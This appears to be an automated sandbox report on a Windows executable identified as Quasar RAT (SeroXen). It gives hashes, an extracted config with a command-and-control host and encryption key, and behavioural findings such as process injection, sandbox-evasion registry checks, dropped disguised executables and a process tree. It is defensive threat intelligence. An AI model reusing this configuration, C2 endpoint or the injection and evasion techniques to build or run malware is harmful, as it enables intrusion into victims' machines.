Analysis
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max time kernel
150s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
17-12-2024 02:01
Static task
static1
Behavioral task
behavioral1
Sample
00f80131b00550bd8cbc45ea7f064b75c4b19fb2df93200f359593c3f5fc54f4.exe
Resource
win10v2004-20241007-en
General
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Target
00f80131b00550bd8cbc45ea7f064b75c4b19fb2df93200f359593c3f5fc54f4.exe
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Size
8.2MB
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MD5
917c0479804b76ae493bad95bf0c7710
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SHA1
7441c9042a3db3642416bd1fbee680e41fed6000
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SHA256
00f80131b00550bd8cbc45ea7f064b75c4b19fb2df93200f359593c3f5fc54f4
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SHA512
93ca248c62caa51a81a5156674ce4eceddc7c2bfd9331a8d522528d80b0d42042957e152e63021f9c3c6696ec76cbaec2ec5bc2820f5c0caf4976040e99d3aa8
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SSDEEP
196608:szdoXA+DYyx8t5KwwFdR3TNpiCHK9MIuBRR23pyHVvGAE+:szUDh8t55wFd1NckKKH+3pyHU
Malware Config
Extracted
quasar
1.0.0.0
v2.2.1 | SeroXen
VIPEEK1990-25013.portmap.host:25013
7018d402-47e5-4cb4-a786-2ea02c04bce5
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encryption_key
B25AE15F5F63DA9A5796B857943A95D816F98892
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install_name
.exe
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log_directory
$sxr-Logs
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reconnect_delay
3000
Signatures
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Quasar family
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Quasar payload 1 IoCs
resource yara_rule behavioral1/memory/68-66-0x000001B90AEF0000-0x000001B90B6BA000-memory.dmp family_quasar -
Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs
description pid Process procid_target PID 5560 created 5740 5560 WerFault.exe 126 PID 5772 created 4636 5772 WerFault.exe 132 -
Suspicious use of NtCreateUserProcessOtherParentProcess 12 IoCs
description pid Process procid_target PID 5076 created 616 5076 Uni.bat.exe 5 PID 68 created 616 68 $sxr-powershell.exe 5 PID 68 created 616 68 $sxr-powershell.exe 5 PID 5076 created 616 5076 Uni.bat.exe 5 PID 68 created 616 68 $sxr-powershell.exe 5 PID 68 created 616 68 $sxr-powershell.exe 5 PID 68 created 616 68 $sxr-powershell.exe 5 PID 68 created 616 68 $sxr-powershell.exe 5 PID 2640 created 5740 2640 svchost.exe 126 PID 68 created 616 68 $sxr-powershell.exe 5 PID 2640 created 4636 2640 svchost.exe 132 PID 2640 created 5596 2640 svchost.exe 135 -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation $sxr-mshta.exe Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation Uni.bat.exe -
Executes dropped EXE 5 IoCs
pid Process 5076 Uni.bat.exe 1420 $sxr-mshta.exe 3644 $sxr-cmd.exe 68 $sxr-powershell.exe 3008 $sxr-powershell.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" 00f80131b00550bd8cbc45ea7f064b75c4b19fb2df93200f359593c3f5fc54f4.exe -
Hide Artifacts: Hidden Window 1 TTPs 2 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
pid Process 3008 $sxr-powershell.exe 68 $sxr-powershell.exe -
Drops file in System32 directory 9 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe -
Suspicious use of SetThreadContext 18 IoCs
description pid Process procid_target PID 5076 set thread context of 2352 5076 Uni.bat.exe 92 PID 5076 set thread context of 1608 5076 Uni.bat.exe 94 PID 68 set thread context of 2392 68 $sxr-powershell.exe 106 PID 68 set thread context of 3012 68 $sxr-powershell.exe 107 PID 68 set thread context of 2996 68 $sxr-powershell.exe 113 PID 68 set thread context of 3624 68 $sxr-powershell.exe 114 PID 5076 set thread context of 3940 5076 Uni.bat.exe 119 PID 5076 set thread context of 2888 5076 Uni.bat.exe 120 PID 68 set thread context of 3028 68 $sxr-powershell.exe 121 PID 68 set thread context of 5676 68 $sxr-powershell.exe 122 PID 68 set thread context of 5916 68 $sxr-powershell.exe 123 PID 68 set thread context of 5416 68 $sxr-powershell.exe 124 PID 68 set thread context of 664 68 $sxr-powershell.exe 125 PID 68 set thread context of 5740 68 $sxr-powershell.exe 126 PID 68 set thread context of 5776 68 $sxr-powershell.exe 128 PID 68 set thread context of 5628 68 $sxr-powershell.exe 131 PID 68 set thread context of 4636 68 $sxr-powershell.exe 132 PID 68 set thread context of 5596 68 $sxr-powershell.exe 135 -
Drops file in Windows directory 6 IoCs
description ioc Process File created C:\Windows\$sxr-cmd.exe Uni.bat.exe File opened for modification C:\Windows\$sxr-cmd.exe Uni.bat.exe File created C:\Windows\$sxr-powershell.exe Uni.bat.exe File opened for modification C:\Windows\$sxr-powershell.exe Uni.bat.exe File created C:\Windows\$sxr-mshta.exe Uni.bat.exe File opened for modification C:\Windows\$sxr-mshta.exe Uni.bat.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 3 IoCs
pid pid_target Process procid_target 716 3012 WerFault.exe 107 5440 5740 WerFault.exe 126 6052 5596 WerFault.exe 135 -
System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dllhost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dllhost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dllhost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dllhost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WerFault.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WerFault.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dllhost.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 5260 PING.EXE 5268 cmd.exe -
Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc wmiprvse.exe -
Checks processor information in registry 2 TTPs 11 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe -
Enumerates system info in registry 2 TTPs 7 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe -
Kills process with taskkill 1 IoCs
pid Process 4428 taskkill.exe -
Modifies data under HKEY_USERS 14 IoCs
description ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Tue, 17 Dec 2024 02:03:25 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1734401005" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={A12D8F7C-D7F5-483B-B90C-BCC15D5FB2ED}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ $sxr-mshta.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 5260 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5076 Uni.bat.exe 5076 Uni.bat.exe 5076 Uni.bat.exe 2352 dllhost.exe 2352 dllhost.exe 2352 dllhost.exe 2352 dllhost.exe 1608 dllhost.exe 1608 dllhost.exe 1608 dllhost.exe 1608 dllhost.exe 5076 Uni.bat.exe 5076 Uni.bat.exe 68 $sxr-powershell.exe 68 $sxr-powershell.exe 68 $sxr-powershell.exe 68 $sxr-powershell.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 68 $sxr-powershell.exe 68 $sxr-powershell.exe 3008 $sxr-powershell.exe 3008 $sxr-powershell.exe 3008 $sxr-powershell.exe 3008 $sxr-powershell.exe 68 $sxr-powershell.exe 2996 dllhost.exe 2996 dllhost.exe 3624 dllhost.exe 3624 dllhost.exe 3624 dllhost.exe 3624 dllhost.exe 2996 dllhost.exe 2996 dllhost.exe 3624 dllhost.exe 3624 dllhost.exe 2996 dllhost.exe 2996 dllhost.exe 3624 dllhost.exe 3624 dllhost.exe 2996 dllhost.exe 2996 dllhost.exe 3624 dllhost.exe 3624 dllhost.exe 2996 dllhost.exe 2996 dllhost.exe 2996 dllhost.exe 2996 dllhost.exe 3624 dllhost.exe 3624 dllhost.exe 2996 dllhost.exe 2996 dllhost.exe 3624 dllhost.exe 3624 dllhost.exe 2996 dllhost.exe 2996 dllhost.exe 3624 dllhost.exe 3624 dllhost.exe 2996 dllhost.exe 2996 dllhost.exe 3624 dllhost.exe 3624 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 5076 Uni.bat.exe Token: SeDebugPrivilege 5076 Uni.bat.exe Token: SeDebugPrivilege 2352 dllhost.exe Token: SeDebugPrivilege 1608 dllhost.exe Token: SeDebugPrivilege 68 $sxr-powershell.exe Token: SeDebugPrivilege 68 $sxr-powershell.exe Token: SeDebugPrivilege 2392 dllhost.exe Token: SeDebugPrivilege 3008 $sxr-powershell.exe Token: SeDebugPrivilege 68 $sxr-powershell.exe Token: SeDebugPrivilege 2996 dllhost.exe Token: SeDebugPrivilege 3624 dllhost.exe Token: SeAssignPrimaryTokenPrivilege 1712 svchost.exe Token: SeIncreaseQuotaPrivilege 1712 svchost.exe Token: SeSecurityPrivilege 1712 svchost.exe Token: SeTakeOwnershipPrivilege 1712 svchost.exe Token: SeLoadDriverPrivilege 1712 svchost.exe Token: SeSystemtimePrivilege 1712 svchost.exe Token: SeBackupPrivilege 1712 svchost.exe Token: SeRestorePrivilege 1712 svchost.exe Token: SeShutdownPrivilege 1712 svchost.exe Token: SeSystemEnvironmentPrivilege 1712 svchost.exe Token: SeUndockPrivilege 1712 svchost.exe Token: SeManageVolumePrivilege 1712 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1712 svchost.exe Token: SeIncreaseQuotaPrivilege 1712 svchost.exe Token: SeSecurityPrivilege 1712 svchost.exe Token: SeTakeOwnershipPrivilege 1712 svchost.exe Token: SeLoadDriverPrivilege 1712 svchost.exe Token: SeSystemtimePrivilege 1712 svchost.exe Token: SeBackupPrivilege 1712 svchost.exe Token: SeRestorePrivilege 1712 svchost.exe Token: SeShutdownPrivilege 1712 svchost.exe Token: SeSystemEnvironmentPrivilege 1712 svchost.exe Token: SeUndockPrivilege 1712 svchost.exe Token: SeManageVolumePrivilege 1712 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1712 svchost.exe Token: SeIncreaseQuotaPrivilege 1712 svchost.exe Token: SeSecurityPrivilege 1712 svchost.exe Token: SeTakeOwnershipPrivilege 1712 svchost.exe Token: SeLoadDriverPrivilege 1712 svchost.exe Token: SeSystemtimePrivilege 1712 svchost.exe Token: SeBackupPrivilege 1712 svchost.exe Token: SeRestorePrivilege 1712 svchost.exe Token: SeShutdownPrivilege 1712 svchost.exe Token: SeSystemEnvironmentPrivilege 1712 svchost.exe Token: SeUndockPrivilege 1712 svchost.exe Token: SeManageVolumePrivilege 1712 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1712 svchost.exe Token: SeIncreaseQuotaPrivilege 1712 svchost.exe Token: SeSecurityPrivilege 1712 svchost.exe Token: SeTakeOwnershipPrivilege 1712 svchost.exe Token: SeLoadDriverPrivilege 1712 svchost.exe Token: SeSystemtimePrivilege 1712 svchost.exe Token: SeBackupPrivilege 1712 svchost.exe Token: SeRestorePrivilege 1712 svchost.exe Token: SeShutdownPrivilege 1712 svchost.exe Token: SeSystemEnvironmentPrivilege 1712 svchost.exe Token: SeUndockPrivilege 1712 svchost.exe Token: SeManageVolumePrivilege 1712 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1712 svchost.exe Token: SeIncreaseQuotaPrivilege 1712 svchost.exe Token: SeSecurityPrivilege 1712 svchost.exe Token: SeTakeOwnershipPrivilege 1712 svchost.exe Token: SeLoadDriverPrivilege 1712 svchost.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 68 $sxr-powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2444 wrote to memory of 2588 2444 00f80131b00550bd8cbc45ea7f064b75c4b19fb2df93200f359593c3f5fc54f4.exe 83 PID 2444 wrote to memory of 2588 2444 00f80131b00550bd8cbc45ea7f064b75c4b19fb2df93200f359593c3f5fc54f4.exe 83 PID 2588 wrote to memory of 5076 2588 cmd.exe 86 PID 2588 wrote to memory of 5076 2588 cmd.exe 86 PID 5076 wrote to memory of 2352 5076 Uni.bat.exe 92 PID 5076 wrote to memory of 2352 5076 Uni.bat.exe 92 PID 5076 wrote to memory of 2352 5076 Uni.bat.exe 92 PID 5076 wrote to memory of 2352 5076 Uni.bat.exe 92 PID 5076 wrote to memory of 2352 5076 Uni.bat.exe 92 PID 5076 wrote to memory of 2352 5076 Uni.bat.exe 92 PID 5076 wrote to memory of 2352 5076 Uni.bat.exe 92 PID 5076 wrote to memory of 1608 5076 Uni.bat.exe 94 PID 5076 wrote to memory of 1608 5076 Uni.bat.exe 94 PID 5076 wrote to memory of 1608 5076 Uni.bat.exe 94 PID 5076 wrote to memory of 1608 5076 Uni.bat.exe 94 PID 5076 wrote to memory of 1608 5076 Uni.bat.exe 94 PID 5076 wrote to memory of 1608 5076 Uni.bat.exe 94 PID 5076 wrote to memory of 1608 5076 Uni.bat.exe 94 PID 5076 wrote to memory of 1608 5076 Uni.bat.exe 94 PID 5076 wrote to memory of 1608 5076 Uni.bat.exe 94 PID 1420 wrote to memory of 3644 1420 $sxr-mshta.exe 103 PID 1420 wrote to memory of 3644 1420 $sxr-mshta.exe 103 PID 3644 wrote to memory of 68 3644 $sxr-cmd.exe 105 PID 3644 wrote to memory of 68 3644 $sxr-cmd.exe 105 PID 68 wrote to memory of 2392 68 $sxr-powershell.exe 106 PID 68 wrote to memory of 2392 68 $sxr-powershell.exe 106 PID 68 wrote to memory of 2392 68 $sxr-powershell.exe 106 PID 68 wrote to memory of 2392 68 $sxr-powershell.exe 106 PID 68 wrote to memory of 2392 68 $sxr-powershell.exe 106 PID 68 wrote to memory of 2392 68 $sxr-powershell.exe 106 PID 68 wrote to memory of 2392 68 $sxr-powershell.exe 106 PID 68 wrote to memory of 3012 68 $sxr-powershell.exe 107 PID 68 wrote to memory of 3012 68 $sxr-powershell.exe 107 PID 68 wrote to memory of 3012 68 $sxr-powershell.exe 107 PID 68 wrote to memory of 3012 68 $sxr-powershell.exe 107 PID 68 wrote to memory of 3012 68 $sxr-powershell.exe 107 PID 68 wrote to memory of 3012 68 $sxr-powershell.exe 107 PID 68 wrote to memory of 3012 68 $sxr-powershell.exe 107 PID 68 wrote to memory of 3012 68 $sxr-powershell.exe 107 PID 68 wrote to memory of 3012 68 $sxr-powershell.exe 107 PID 68 wrote to memory of 3008 68 $sxr-powershell.exe 112 PID 68 wrote to memory of 3008 68 $sxr-powershell.exe 112 PID 68 wrote to memory of 2996 68 $sxr-powershell.exe 113 PID 68 wrote to memory of 2996 68 $sxr-powershell.exe 113 PID 68 wrote to memory of 2996 68 $sxr-powershell.exe 113 PID 68 wrote to memory of 2996 68 $sxr-powershell.exe 113 PID 68 wrote to memory of 2996 68 $sxr-powershell.exe 113 PID 68 wrote to memory of 2996 68 $sxr-powershell.exe 113 PID 68 wrote to memory of 2996 68 $sxr-powershell.exe 113 PID 68 wrote to memory of 2996 68 $sxr-powershell.exe 113 PID 68 wrote to memory of 2996 68 $sxr-powershell.exe 113 PID 68 wrote to memory of 3624 68 $sxr-powershell.exe 114 PID 68 wrote to memory of 3624 68 $sxr-powershell.exe 114 PID 68 wrote to memory of 3624 68 $sxr-powershell.exe 114 PID 68 wrote to memory of 3624 68 $sxr-powershell.exe 114 PID 68 wrote to memory of 3624 68 $sxr-powershell.exe 114 PID 68 wrote to memory of 3624 68 $sxr-powershell.exe 114 PID 68 wrote to memory of 3624 68 $sxr-powershell.exe 114 PID 68 wrote to memory of 3624 68 $sxr-powershell.exe 114 PID 68 wrote to memory of 3624 68 $sxr-powershell.exe 114 PID 68 wrote to memory of 3624 68 $sxr-powershell.exe 114 PID 2996 wrote to memory of 616 2996 dllhost.exe 5 PID 2996 wrote to memory of 672 2996 dllhost.exe 7 PID 2996 wrote to memory of 964 2996 dllhost.exe 12 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 5484 attrib.exe
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:616
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:376
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{f0a25d2f-976a-49c1-9ea8-bd9d18271fd9}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2352
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{65e85bd6-6b3c-4ad0-b664-f2d1aee1ef06}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2392
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{1fb14030-3799-499d-89c1-a3fe3b173d16}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2996
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{0bd9b211-2389-4bf6-9459-3d1e77bcea69}2⤵PID:3940
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{bdd0ef00-2a27-4f06-a8ff-16612356061b}2⤵PID:3028
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{687026ef-e09e-4c5f-9510-640944143d4b}2⤵PID:5916
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{5e2bb0a9-7921-49a7-af67-517cf221bf46}2⤵PID:664
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{e7689f28-fca6-4c9d-b92d-8e385ea0dd5c}2⤵PID:5776
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{3a8316c5-62d5-4c3e-89eb-b463674342c8}2⤵PID:4636
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4636 -s 3083⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:5720
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:672
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:964
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:744
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:760
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1028
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1092
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1148
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2780
